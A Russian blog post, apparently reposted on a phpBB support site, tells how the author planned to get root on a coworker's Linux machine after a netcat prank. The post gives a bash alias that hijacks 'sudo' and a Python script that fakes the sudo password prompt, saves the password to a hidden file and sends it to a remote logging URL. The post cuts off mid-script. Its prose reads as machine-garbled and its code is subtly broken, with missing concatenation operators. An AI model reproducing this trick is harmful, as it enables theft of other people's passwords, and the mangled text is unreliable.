Главная
Блог разработчиков phpBB
 
+ 17 предустановленных модов
+ SEO-оптимизация форума
+ авторизация через соц. сети
+ защита от спама

Линукс — история одного взлома

Anna | 16.06.2014 | нет комментариев
Здравствуй, мир!
Сегодня хотел бы поделиться с вами одной поучительной историей о том, как некогда мне удалось получить root-доступ к рабочему компьютеру сотрудники и о том, как ужасающе легко оказалось это сделать.

Предыстория

Рабочий день проходил так, как традиционно он проходит у всякого среднестатистического разработчика: монитор, клавиатура, чай, печеньки… В всеобщем, ничего выдающегося, как неизменно, не предвиделось. Утомившись от продолжительной отладки приложения в Xdebug, я решил выйти из офиса и немножко подышать свежим воздухом, Дабы хоть чуть-чуть привести голову (к тому времени теснее «чугунную») в порядок.

Вернувшись за рабочее место я не поспел еще приняться за работу, как внезапно с соседнего стола донесся язвительный голос сотрудники:

— Слушай, схоже что у тебя идентификатор процесса браузера это XXXX, да?

Исполнив команду ps -A | grep opera, я увидел что pid подлинно именно тот, о котором говорил сотрудник.

— Да, и что? — невозмутимым голосом ответил я.
— Ничего — сказал сотрудник и нажал «Enter» на клавиатуре своего компьютера. Окно моего браузера закрылось у меня на глазах.

Я здесь же принялся искать процессы в системе, которые могли дать удаленный шелл. Это был не SSH.
Сотрудник намекнул что это nc (netcat), процесс которого, безусловно же, немедленно был убит.
Мы оба посмеялись, обсудили данный комичный случай, выяснилось, что на самом деле взлома никакого и не было и что «nc» был запущен из-под моего пользователя в тот момент, пока меня не было на рабочем месте. Just for lulz.
Шутка в всеобщем-то удалась, но инстинктивно я решил, что так легко оставлять это дело невозможно, это был вызов!

Мякотка

Некогда в студеную зимнюю пору, аккурат перед самым Новым Годом, я решил что пришла пора взять реванш. Но на данный раз я хотел всецело захватить доступ к компьютеру — получить root.

Новогодние приготовления в офисе создавали довольную суматоху и шум. Это был самый подходящий момент, от того что сотрудник позже произошедшего случая стал блокировать экран, когда отходил от рабочего места. Я знал, что сегодня именно тот день, когда вероятность того, что он позабудет сделать блокировку, максимально высока.

Воспользовавшись небольшим «окном» в своем рабочем времени, я начал продумывать план действий по взлому. Основная задача, которую нужно было как-то решить это безусловно же непринужденно приобретение учетной записи root, от того что всё остальное каждого лишь дело техники. Начался энергичный перебор идей о том, как вообще это дозволено сделать.

У сотрудники стоял Linux Mint 14 «Nadia». Версия ядра — 3.5. Хоть ядро и не такое ветхое, вероятность стремительно обнаружить в свободном доступе работающий локальный эксплойт близка к нулю. Из служб у него помимо Apache толком ничего не стояло, да и Apache он закрыл для наружного доступа.

Откидывая идею за идеей, в выводе меня осенило! А что если испробовать самый легкой и самый тривиальный bash alias?
Решив проверить свое предположение, запускаю у себя терминал (Debian Squeeze), создаю файл test.py с тривиальным print «Hello, world!», сберегаю в домашнем каталоге, исполняю команду:

alias sudo="$HOME/temp.py"

позже этого набираю:

sudo mc

итог:

Hello, world!

Вот оно! Абсолютно легальная «дыра» в безопасности. Тривиально, но результативно.

А сейчас скрипт!

#!/usr/bin/env python

# Т.к. нам необходимо поменьше символов в скрипте, поступаемся священным PEP
# и фигачим каждый импорт в одну строку (да извинит меня Гвидо!)
import os, sys, time, subprocess, getpass, urllib, base64

url = 'http://example.com/log.php?data=%s'
user = getpass.getuser()
# Имитируем запрос пароля sudo
passwd = getpass.getpass("[sudo] password for %s: " % user)

msg = user   ':'   passwd
home = os.path.expanduser('~')
script = sys.argv[0]

# На каждый случай сберегаем пароль в файл
with open(os.path.join(home, ".xsession-name"), "a ") as f:
    f.write(msg   "n")

# Самое аппетитное - отсылаем пароль на наш gateway
urllib.urlopen(url % base64.b64encode(msg))

# Действуем незаметн

 

Источник: programmingmaster.ru

Оставить комментарий
БАЗА ЗНАНИЙ
СЛУЧАЙНАЯ СТАТЬЯ
СЛУЧАЙНЫЙ БЛОГ
СЛУЧАЙНЫЙ МОД
СЛУЧАЙНЫЙ СКИН
НОВЫЕ МОДЫ
НОВЫЕ СКИНЫ
НАКОПЛЕННЫЙ ОПЫТ
Форум phpBB, русская поддержка форума phpBB
Рейтинг@Mail.ru 2008 - 2017 © BB3x.ru - русская поддержка форума phpBB